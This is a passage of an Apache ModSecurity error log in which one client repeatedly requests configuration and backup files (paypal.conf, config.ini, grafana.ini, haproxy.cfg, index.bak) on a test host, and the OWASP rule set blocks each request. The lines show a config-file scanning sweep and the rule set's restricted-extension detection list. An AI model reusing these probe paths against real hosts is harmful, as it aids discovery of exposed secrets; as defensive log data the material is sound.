&quot;/gateway/paypal.conf&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB9AAAAAU&quot;]
[Sun Mar 01 20:26:13.334675 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/paypal.conf&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB9AAAAAU&quot;]
[Sun Mar 01 20:26:13.334842 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/paypal.conf&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB9AAAAAU&quot;]
[Sun Mar 01 20:26:13.356987 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateways/params.cfg&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB9QAAAAU&quot;]
[Sun Mar 01 20:26:13.357473 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateways/params.cfg&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB9QAAAAU&quot;]
[Sun Mar 01 20:26:13.357644 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateways/params.cfg&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB9QAAAAU&quot;]
[Sun Mar 01 20:26:13.608785 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/giftcards/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCAAAAAAU&quot;]
[Sun Mar 01 20:26:13.609311 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/giftcards/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCAAAAAAU&quot;]
[Sun Mar 01 20:26:13.609494 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/giftcards/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCAAAAAAU&quot;]
[Sun Mar 01 20:26:13.631712 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/giropay/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCAQAAAAU&quot;]
[Sun Mar 01 20:26:13.632260 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/giropay/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCAQAAAAU&quot;]
[Sun Mar 01 20:26:13.632452 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/giropay/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCAQAAAAU&quot;]
[Sun Mar 01 20:26:13.723947 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gnss/receiver_config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCBQAAAAU&quot;]
[Sun Mar 01 20:26:13.724504 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gnss/receiver_config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCBQAAAAU&quot;]
[Sun Mar 01 20:26:13.724693 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gnss/receiver_config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCBQAAAAU&quot;]
[Sun Mar 01 20:26:13.931232 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grafana.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCDgAAAAU&quot;]
[Sun Mar 01 20:26:13.931734 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grafana.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCDgAAAAU&quot;]
[Sun Mar 01 20:26:13.931905 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grafana.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txCDgAAAAU&quot;]
[Sun Mar 01 20:26:14.185233 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/haproxy.cfg&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCGQAAAAU&quot;]
[Sun Mar 01 20:26:14.185725 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/haproxy.cfg&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCGQAAAAU&quot;]
[Sun Mar 01 20:26:14.185886 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/haproxy.cfg&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCGQAAAAU&quot;]
[Sun Mar 01 20:26:14.207759 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/haproxy/haproxy.cfg&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCGgAAAAU&quot;]
[Sun Mar 01 20:26:14.208242 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/haproxy/haproxy.cfg&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCGgAAAAU&quot;]
[Sun Mar 01 20:26:14.208398 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/haproxy/haproxy.cfg&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCGgAAAAU&quot;]
[Sun Mar 01 20:26:14.527554 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hmd/optics_config.ini&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCKAAAAAU&quot;]
[Sun Mar 01 20:26:14.528035 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hmd/optics_config.ini&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCKAAAAAU&quot;]
[Sun Mar 01 20:26:14.528200 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hmd/optics_config.ini&quot;] [unique_id &quot;aaSS1v6okG7BJFjW-txCKAAAAAU&quot;]
[Sun Mar 01 20:26:14.849683 2026] [autoindex:error] [pid 2400038] [client 185.177.72.30:9930] AH01276: Cannot serve directory /usr/share/apache2/icons/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 20:26:15.078112 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.bak&quot;] [unique_id &quot;aaSS1_6okG7BJFjW-txCQAAAAAU&quot;]
[Sun Mar 01 20:26:15.078629 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.bak&quot;] [unique_id &quot;aaSS1_6okG7BJFjW-txCQAAAAAU&quot;]
